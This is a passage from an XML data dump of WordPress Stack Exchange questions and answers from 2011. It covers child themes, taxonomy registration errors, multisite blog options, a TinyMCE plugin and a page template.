href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;Creating Tables with Plugins&lt;/a&gt;), which is why I personally recommend that way.&lt;/p&gt;&#xA;" OwnerUserId="3701" LastActivityDate="2011-03-28T07:58:19.353" />
  <row Id="13262" PostTypeId="1" CreationDate="2011-03-28T08:28:02.513" Score="0" ViewCount="91" Body="&lt;p&gt;I have twenty wordpress by defautl theme I have created child theme follow the steps given in this link&#xA;&lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but how it will show in frontend.&#xA;mean my main theme twenty activated right now but my problem is how to show twenty child theme in frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hey guys in my &lt;strong&gt;admin&lt;/strong&gt; area there is showing two theme &lt;strong&gt;dashboard-&gt;appearence-&gt;theme-&gt;&lt;/strong&gt; &#xA;1.)twentyten with by default struture of file&#xA;2.)twentyten_child (that created by me only contain one file that is style.css)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code that i have paste in twentyten_child theme for style.css given below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /*&#xA;   Theme Name:     twentyten_child&#xA; Template:       twentyten&#xA;&#xA;  */&#xA;   @import url(&quot;../twentyten/style.css&quot;);&#xA;&#xA;    #site-title a {&#xA;          color: #009900;&#xA;       }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to make both the theme linkable on fronted.right now my twentyten theme activated.&#xA;how to use the concept of twenty_child theme.only one theme activated at a time then wat benefit of creating child theme.can i show any tab when i click on that tab it will go to child theme.&#xA;Please help me I shall be very thankful to you&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="1850" LastEditorDisplayName="" LastEditDate="2011-03-28T10:24:23.507" LastActivityDate="2011-03-28T10:24:23.507" Title="How to call child theme on frontend for twenty theme" Tags="&lt;php&gt;" CommentCount="10" />
  <row Id="13263" PostTypeId="1" CreationDate="2011-03-28T09:14:04.523" Score="1" ViewCount="226" Body="&lt;p&gt;I need urgent help figuring this out please - I've been working on a WordPress theme locally without problems, and now that I've uploaded it to the live server I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Warning: Invalid argument supplied for foreach() in&#xA;  /homepages/42/d357924500/htdocs/wp-includes/post.php&#xA;  on line 1011&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The corresponding code is related to the &lt;code&gt;register_post_type&lt;/code&gt; function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $args-&amp;gt;taxonomies as $taxonomy ) {&#xA;        register_taxonomy_for_object_type( $taxonomy, $post_type );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could this be because of an error in my &lt;code&gt;register_post_type&lt;/code&gt; or &lt;code&gt;register_taxonomy&lt;/code&gt; &lt;a href=&quot;http://pastebin.com/VXMTggzb&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt;? The error shows both on the front-end and the admin side (also displays in widget option boxes when I try to update widgets - the changes don't save).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know much about PHP yet (still learning), but I know just enough to manage a few WordPress customisations. Both WordPress installations use version 3.1. Any help on this issue is very appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- UPDATE --&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating a new term for my custom taxonomy of &quot;type&quot;, and I got this error in a red error box:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*&lt;strong&gt;*Warning: Invalid argument supplied for foreach() in&#xA;  /homepages/42/d357924500/htdocs/wp-includes/post.php&#xA;  on line 1011&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Warning: Cannot modify header information - headers already sent by&#xA;  (output started at&#xA;  /homepages/42/d357924500/htdocs/wp-includes/post.php:1011)&#xA;  in&#xA;  /homepages/42/d357924500/htdocs/wp-includes/class-wp-ajax-response.php&#xA;  on line 129&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Administration&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;administration0]]&gt;Administration&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;administration0]]&gt;**&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The taxonomy term was obviously not saved.&lt;/p&gt;&#xA;" OwnerUserId="4027" LastEditorUserId="4027" LastEditorDisplayName="" LastEditDate="2011-03-28T09:30:15.913" LastActivityDate="2011-04-30T23:42:34.330" Title="What is causing this error? &quot;Warning: Invalid argument&quot;" Tags="&lt;3.1&gt;&lt;errors&gt;&lt;warnings&gt;" AnswerCount="4" CommentCount="5" />
  <row Id="13264" PostTypeId="2" ParentId="13263" CreationDate="2011-03-28T09:25:28.977" Score="2" ViewCount="" Body="&lt;p&gt;My assumption would be that your args-&gt;taxonomy is empty, invalid or non-existent. without more code its hard to say why. Did you upload all the code from your localhost to the production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also sometimes this happens because the taxonomy is created after the register_post_type, but then the localhost code would give the same error. I usually call taxonomes like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function initialize_taxonomy() {&#xA;    register_taxonomy( 'tax_name', 'tax_object', array(&#xA;                        'hierarchical' =&amp;gt; false,&#xA;                        'query_var' =&amp;gt; false,&#xA;                        'rewrite' =&amp;gt; true,&#xA;                        'public' =&amp;gt; true,&#xA;                        'show_ui' =&amp;gt; true,&#xA;                ) );  &#xA;}&#xA;add_action( 'init', 'initialize_taxonomy', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2434" LastActivityDate="2011-03-28T09:25:28.977" CommentCount="6" />
  <row Id="13265" PostTypeId="2" ParentId="13263" CreationDate="2011-03-28T09:25:35.200" Score="1" ViewCount="" Body="&lt;p&gt;The variable $args, where does it come from?&#xA;Perhaps you have register_globals_on on your local machine, but it's off on the server in the php.ini.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-03-28T09:25:35.200" />
  <row Id="13266" PostTypeId="2" ParentId="13260" CreationDate="2011-03-28T10:05:09.863" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct answer is: &lt;strong&gt;&lt;em&gt;&quot;It depends.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general it is better to use built-in WordPress functions than to use direct SQL &lt;em&gt;when there are built-in functions that can provide you what you need.&lt;/em&gt;  However, the answers to many of the questions I see here on WPSE are &lt;em&gt;(unfortunately) &quot;you need to use direct SQL for that because WordPress simply doesn't provide a(n efficient) function to provide what you need.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the Vote It Up plugin it is arguable that their choice of direct SQL was correct because there is not an efficient place to store votes in the WordPress database. On the other hand there are those who would argue that they should have used &lt;code&gt;wp_postmeta&lt;/code&gt; and &lt;code&gt;wp_usermeta&lt;/code&gt; to store that information. Personally I'm on the fence for a voting plugin; I'd actually have to implement one &lt;em&gt;(which I have done but it was almost 2 years ago and have learned much since)&lt;/em&gt; to really have an opinion on the best way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I will say is that, almost whenever possible I prefer to use the built-in tables with WordPress rather than to add new tables. Adding a table has a more significant impact than adding SQL code to access the existing tables. Given that alone I might learn towards using the meta tables for a voting plugin but I honestly I can't state that unequivocally unless and until I actually tried to implement such functionality.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just read &lt;a href=&quot;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;the code by c.bavota&lt;/a&gt; and in some ways it is good, in other ways it troubles me.  I like that he is using post meta, but I don't like that he is putting the list of comma-separated user_ids into a post meta field. What happens when a post gets 25,000 votes? Clearly his code does not scale for a high-traffic site. And his code would make it very slow to get a list of all posts voted on by a given user for any site with a large number of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he is going to stuff all user IDs for votes into a meta field he should do in a more scalable way such as storing post IDs in user meta as chances of one user voting 25,000 times, or even 2500 times is pretty small. Or he could store votes by embedding the user ID in the post meta key, i.e. &lt;code&gt;&quot;user_vote_{$user_id}&quot;&lt;/code&gt; &lt;em&gt;(though maybe 25,000 meta records would cause problems of its own.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTOH, if you really need to track votes by user that's where I might argue for a table and direct SQL might make sense. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more he rolls his own web service instead of using the &lt;a href=&quot;http://codex.wordpress.org/AJAX_in_Plugins&quot; rel=&quot;nofollow&quot;&gt;build-in AJAX functionality&lt;/a&gt; for web services. While I don't like that the built-in functionality is not RESTful, I don't think it is a good idea to recreate a web service infrastructure unless you do it right. Doing it right would include built-in security and c.bavota's code doesn't worry about security; no escaping of &lt;code&gt;$_POST&lt;/code&gt; values, no using nonces, nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And his code could easily under-count votes it two or more people are voting at the same time. What's a bit scary is this guy is selling premium themes and his how-to articles have code that violates several known best practices. But I think he is hardly unique as a theme vendor that has code with security or scalability issues. &amp;lt;sigh&amp;gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I left a comment about these issues and suggesting he warn his users immediately and update with better techniques, but it is currently in moderation. Let's hope he publishes it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Why use functions like &lt;code&gt;update_post_meta()&lt;/code&gt; rather than updating the database directly?  Several reasons, but much more important for plugins or themes you plan to distribute than for code you write for your own site &lt;em&gt;(though ideally it's helpful for the latter too.):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;By some small chance WordPress may chance the database structure for meta. They've done it before and might do it again. If you use the built-in functions instead of SQL your code will continue to work but obviously direct SQL code will break on a WordPress upgrade.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you use &lt;code&gt;update_post_meta()&lt;/code&gt; it will work for single site &lt;strong&gt;&lt;em&gt;and&lt;/em&gt;&lt;/strong&gt; Multisite. Direct SQL code will work for one but not the other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you use &lt;code&gt;update_post_meta()&lt;/code&gt; and someone wants to use a plugin that stores frequently accessed values in &lt;a href=&quot;http://wordpress.org/extend/plugins/memcached/&quot; rel=&quot;nofollow&quot;&gt;MemCached&lt;/a&gt; your code will support it, but not if you write direct SQL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In general if a plugin or theme hooks &lt;code&gt;update_post_meta()&lt;/code&gt; the hook will work if you use &lt;code&gt;update_post_meta()&lt;/code&gt; but not if you use direct SQL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And I'm sure there are other reasons I can't think of right now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Suffice it to say that using the built-in functions offers robustness and flexibility that direct SQL can't match; so only use direct SQL when you can't do it with built-in functions. JMTCW.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-29T07:08:16.850" LastActivityDate="2011-03-29T07:08:16.850" CommentCount="6" />
  <row Id="13268" PostTypeId="2" ParentId="13246" CreationDate="2011-03-28T10:39:09.363" Score="2" ViewCount="" Body="&lt;p&gt;It should be pretty straight-forward, copy the relevant pieces of code from the page you linked to into your existing TinyMCE plugin, update a few strings... done!.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with this for your TinyMCE plugin JS and see how you get on..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// JavaScript Document&#xA;(function() {&#xA;    // Creates a new plugin class and a custom listbox&#xA;    tinymce.create('tinymce.plugins.onehalf', {&#xA;        createControl: function(n, cm) {&#xA;            switch (n) {&#xA;                case 'onehalf':&#xA;                    var mlb = cm.createListBox('onehalf', {&#xA;                        title : 'My list box',&#xA;                        onselect : function(v) {&#xA;                            tinyMCE.activeEditor.windowManager.alert('Value selected:' + v);&#xA;                        }&#xA;                    });&#xA;&#xA;                    // Add some values to the list box&#xA;                    mlb.add('Some item 1', 'val1');&#xA;                    mlb.add('some item 2', 'val2');&#xA;                    mlb.add('some item 3', 'val3');&#xA;&#xA;                // Return the new listbox instance&#xA;                return mlb;&#xA;&#xA;                /*&#xA;                case 'onehalf':&#xA;                var c = cm.createSplitButton('onehalf', {&#xA;                    title : 'My split button',&#xA;                    image : 'img/example.gif',&#xA;                    onclick : function() {&#xA;                        tinyMCE.activeEditor.windowManager.alert('Button was clicked.');&#xA;                    }&#xA;                });&#xA;&#xA;                c.onRenderMenu.add(function(c, m) {&#xA;                    m.add({title : 'Some title', 'class' : 'mceMenuItemTitle'}).setDisabled(1);&#xA;&#xA;                    m.add({title : 'Some item 1', onclick : function() {&#xA;                        tinyMCE.activeEditor.windowManager.alert('Some  item 1 was clicked.');&#xA;                    }});&#xA;&#xA;                    m.add({title : 'Some item 2', onclick : function() {&#xA;                        tinyMCE.activeEditor.windowManager.alert('Some  item 2 was clicked.');&#xA;                    }});&#xA;                });&#xA;&#xA;                // Return the new splitbutton instance&#xA;                return c;&#xA;                */&#xA;            }&#xA;            return null;&#xA;        }&#xA;    });&#xA;    tinymce.PluginManager.add('onehalf', tinymce.plugins.onehalf);&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If something doesn't work please report back with as much info as possible, ie. what you tried, what the result was, what did happen, what didn't ... etc..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-28T10:39:09.363" CommentCount="2" />
  <row Id="13269" PostTypeId="1" CreationDate="2011-03-28T10:44:44.010" Score="0" ViewCount="157" Body="&lt;p&gt;I use 'constants' a lot. I set them in functions.php like &lt;code&gt;define('mytheme_town', 'Orlando');&lt;/code&gt; and then call them into the theme &lt;code&gt;&amp;lt;?php echo mytheme_town ; ?&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's simple and easy.  But I need them to be site-specific (for multisite) so I thought it might be possible to append the current blog_id to the theme call and declare constants for each MultiSite in functions.php? I don't know how to code that, but what I'm trying to achieve in the theme file this ... &lt;code&gt;&amp;lt;?php echo [current_blog]_mytheme_town ; ?&amp;gt;&lt;/code&gt; .....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In functions.php&lt;/strong&gt;&#xA;// set constants for all multisites that use this theme&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// awebsite.org : site_id=1&lt;br&gt;&#xA;define('1_mytheme_town', 'Orlando');&lt;br&gt;&#xA;define('1_mytheme_subject', 'food');&lt;br&gt;&#xA;define('1_mytheme_p1', 'This is the first paragraph text');  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;//  adifferentsite.com: site_id=2&lt;br&gt;&#xA;define('2_mytheme_town', 'New York');&lt;br&gt;&#xA;define('2_mytheme_subject', 'wine');&lt;br&gt;&#xA;define('2_mytheme_p1', 'This is the first paragraph text');  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;// anothersite.net : site_id=3 &#xA;define('3_mytheme_town', 'LA');&lt;br&gt;&#xA;define('3_mytheme_subject', 'Donuts');&lt;br&gt;&#xA;define('3_mytheme_p1', 'This is the first paragraph text');  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In theme files&lt;/strong&gt;&#xA;Call the constants using the current blog_id like so ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo [current_blog]_mytheme_town ; ?&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;?php echo [current_blog]_mytheme_subject ; ?&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;&amp;lt;?php echo [current_blog]_mytheme_p1 ; ?&amp;gt;&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been trying all day, but I'm just guessing and I don't really know what I am doing. Everything I have tried works, but it simply echos out text of the code &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1_mytheme_town&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and not the constant that is defined in functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you understand what I'm trying to explain.&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2011-05-28T22:54:46.553" Title="How can I append blog_id to ... echo [functions-defined-constant]?" Tags="&lt;multisite&gt;&lt;functions&gt;&lt;constants&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13270" PostTypeId="1" AcceptedAnswerId="15194" CreationDate="2011-03-28T11:09:06.697" Score="0" ViewCount="90" Body="&lt;p&gt;I've come across a small bug with my yoast breadcrumbs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've rebuilding a site and have imported some old posts and content and have come across a problem where yoast things the permalinks are still the old ones. I've flushed out all the old categories and tags, etc and have used flush_rewrite_rules() to try and fix it which has resulted in some broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something in the DB?&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-04-20T08:35:31.933" Title="Posts picking up old Permalinks, how to reset?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13271" PostTypeId="2" ParentId="13269" CreationDate="2011-03-28T11:12:05.807" Score="0" ViewCount="" Body="&lt;p&gt;You can access the blog ID you are on by &lt;code&gt;global $blog_id;&lt;/code&gt; and then you can use that how you want it to work.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-28T11:12:05.807" CommentCount="2" />
  <row Id="13272" PostTypeId="2" ParentId="13269" CreationDate="2011-03-28T11:14:49.457" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Thao:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using constants in the way you are doing is very much &lt;em&gt;not&lt;/em&gt; the way a good WordPress programmer would code.  Constants are very inflexible and just not how things are typically done in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that when you refer to &lt;em&gt;&quot;site&quot;&lt;/em&gt; you really mean &lt;em&gt;&quot;blog&quot;&lt;/em&gt; in &lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5911/blog-id-current-site-vs-site-id-current-site-in-wordpress-multisite&quot;&gt;WordPress' Multisite vernacular&lt;/a&gt;&lt;/strong&gt; &lt;em&gt;(yes, I think the terminology is strange but it is what it is)&lt;/em&gt; then why not use &lt;code&gt;get_blog_option()&lt;/code&gt; and &lt;code&gt;update_blog_option()&lt;/code&gt; along with &lt;code&gt;get_site_option()&lt;/code&gt; and &lt;code&gt;update_site_option()&lt;/code&gt;? &lt;em&gt;(this code goes in your main blog's theme's &lt;code&gt;functions.php&lt;/code&gt; file, or in a &lt;code&gt;.php&lt;/code&gt; file of a &lt;a href=&quot;http://wpmututorials.com/basics/must-use-plugins-and-3-0/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&quot;must use&quot; plugin&lt;/strong&gt;&lt;/a&gt; you might be developing):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','yoursite_init');&#xA;function yoursite_init() {&#xA;  if (!get_site_option('town_subject_p1_initialized')) {&#xA;&#xA;    update_blog_option(1,'town','Orlando');&#xA;    update_blog_option(1,'subject','food');&#xA;    update_blog_option(1,'p1','This is the first paragraph text');&#xA;&#xA;    update_blog_option(2,'town','New York');&#xA;    update_blog_option(2,'subject','wine');&#xA;    update_blog_option(2,'p1','This is the first paragraph text');&#xA;&#xA;    update_blog_option(3,'town','LA');&#xA;    update_blog_option(3,'subject','donuts');&#xA;    update_blog_option(3,'p1','This is the first paragraph text');&#xA;&#xA;    update_site_option('town_subject_p1_initialized',true);&#xA;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to access within your theme use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_blog_option($blog_id,'town'); ?&amp;gt;&#xA;&amp;lt;?php echo get_blog_option($blog_id,'subject'); ?&amp;gt;&#xA;&amp;lt;?php echo get_blog_option($blog_id,'p1'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a lot more &lt;em&gt;&quot;WordPress-like&quot;&lt;/em&gt; and you'll find it's both a lot more flexible and someone else who knows WordPress is a lot more likely to actually understand the code you leave behind.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on comments I'm going to suggest a different approach for initialization.  Rather than have the programmer constantly editing the .PHP file every time he wants to add a new site the site meta should be added using the &lt;code&gt;'wpmu_new_blog'&lt;/code&gt; hook which you can see here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wpmu_new_blog','getsunrise_wpmu_new_blog');&#xA;function getsunrise_wpmu_new_blog( $blog_id ) {&#xA;  update_blog_option( $blog_id,'town','Pending...');&#xA;  update_blog_option( $blog_id,'subject','Pending...');&#xA;  update_blog_option( $blog_id,'p1','Pending...');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the site admin can edit the site meta at this URL &lt;code&gt;/wp-admin/network/site-settings.php?id={$site_ID}&lt;/code&gt; *(replacing {$site_ID} with the new site #, of course.)* For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110329-183708.png&quot; alt=&quot;Screenshot of editing blog-specific settings in WordPress Multisite&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down to the bottom of that page and then you see the three (3) new site meta values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110329-183857.png&quot; alt=&quot;Screenshot of editing blog-specific additional site meta in WordPress Multisite&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;strong&gt;&lt;em&gt;much&lt;/em&gt;&lt;/strong&gt; better way that using constants and editing the &lt;code&gt;.php&lt;/code&gt; file.  Your clients won't know, but subconsciously they will thank you for not causing them future headaches.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-29T22:41:32.690" LastActivityDate="2011-03-29T22:41:32.690" CommentCount="14" />
  <row Id="13273" PostTypeId="1" CreationDate="2011-03-28T11:34:53.670" Score="0" ViewCount="334" Body="&lt;p&gt;I'm looking for a way to pull in photo albums from a Facebook Fan Page into a Wordpress site and have the photos open up in a Lightbox with Facebook comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a few plugins but nothing quite like what I'm looking for and I haven't seem any with comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know whether this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2011-08-31T11:37:33.057" Title="Display Facebook photo albums and photo comments?" Tags="&lt;plugins&gt;&lt;facebook&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13274" PostTypeId="2" ParentId="13263" CreationDate="2011-03-28T11:44:58.310" Score="1" ViewCount="" Body="&lt;p&gt;So the error was being caused by my custom taxonomy registration. I managed to make the warning go away by cutting it out completely. On seeing that this seemed to fix the problem, I did a new &lt;code&gt;register_taxonomy&lt;/code&gt; (using almost exactly the same code, but with the name changed as suggested by Patriek), and the warning has not come back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A big thanks to those who tried to help me. :-)&lt;/p&gt;&#xA;" OwnerUserId="4027" LastActivityDate="2011-03-28T11:44:58.310" CommentCount="1" />
  <row Id="13275" PostTypeId="2" ParentId="13209" CreationDate="2011-03-28T11:54:32.200" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Updated answer:&lt;/strong&gt;&lt;br&gt;&#xA;Use two floated lists to emulate columns, same approach as previously though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: PageOfPosts&#xA;*/&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;t&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;b&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;l&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;r&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;bl&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;br&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;tl&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;tr&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;pad&quot;&amp;gt;&#xA;&#xA;                                        &amp;lt;?php while( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                                        &amp;lt;?php &#xA;                                        $category = get_post_meta( get_the_ID(), 'category', true); &#xA;                                        $img_style = 'style=&quot;width:606;height:34;position: absolute; padding-top:1px; padding-left: 2px; z-index:9999; background: no-repeat;&quot;';&#xA;                                        ?&amp;gt;&#xA;&#xA;                                        &amp;lt;div class=&quot;post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                                            &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                                            &amp;lt;img src=&quot;../wp-content/themes/DD4L/images/leafhr.png&quot; &amp;lt;?php? echo $img_style;?&amp;gt;&amp;gt;&#xA;                                            &amp;lt;br /&amp;gt;&#xA;&#xA;                                            &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                                                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                                                &amp;lt;?php wp_link_pages(array('before' =&amp;gt; 'Pages: ', 'next_or_number' =&amp;gt; 'number')); ?&amp;gt;&#xA;                                            &amp;lt;/div&amp;gt;&#xA;&#xA;                                            &amp;lt;?php edit_post_link('Edit this entry.', '&amp;lt;p&amp;gt;', '&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;&#xA;                                        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;                                        &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                                        &amp;lt;?php if( !empty( $category ) ) : ?&amp;gt;&#xA;&#xA;                                        &amp;lt;?php&#xA;                                        $args = array(&#xA;                                            'orderby' =&amp;gt; 'title',&#xA;                                            'order' =&amp;gt; 'asc',&#xA;                                            'nopaging' =&amp;gt; true,&#xA;                                            'ignore_sticky_posts' =&amp;gt; true,&#xA;                                            'tax_query' =&amp;gt; array(&#xA;                                                array(&#xA;                                                    'taxonomy' =&amp;gt; 'category',&#xA;                                                    'terms' =&amp;gt; array( $category ),&#xA;                                                    'field' =&amp;gt; 'slug'&#xA;                                                )&#xA;                                            )&#xA;                                        );&#xA;                                        $category_query = new WP_Query( $args );&#xA;                                        ?&amp;gt;&#xA;&#xA;                                        &amp;lt;?php if( $category_query-&amp;gt;have_posts() ) :  ?&amp;gt;&#xA;&#xA;                                        &amp;lt;?php&#xA;                                        $total = $category_query-&amp;gt;post_count;&#xA;                                        $quart = $total / 4;&#xA;&#xA;                                        if( floor( $quart ) != $quart )&#xA;                                            $quart = ceil( $quart );&#xA;                                        $counter = 0;&#xA;                                        ?&amp;gt;&#xA;&#xA;                                        &amp;lt;div class=&quot;float-container&quot;&amp;gt;&#xA;                                            &amp;lt;ul class=&quot;alignleft&quot;&amp;gt;&#xA;                                            &amp;lt;?php while( $category_query-&amp;gt;have_posts() ) : $category_query-&amp;gt;the_post(); $counter++; ?&amp;gt;&#xA;&#xA;                                                &amp;lt;li&amp;gt;&#xA;                                                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                                &amp;lt;/li&amp;gt;&#xA;&#xA;                                            &amp;lt;?php if( $quart == $counter ) : $counter = 0; 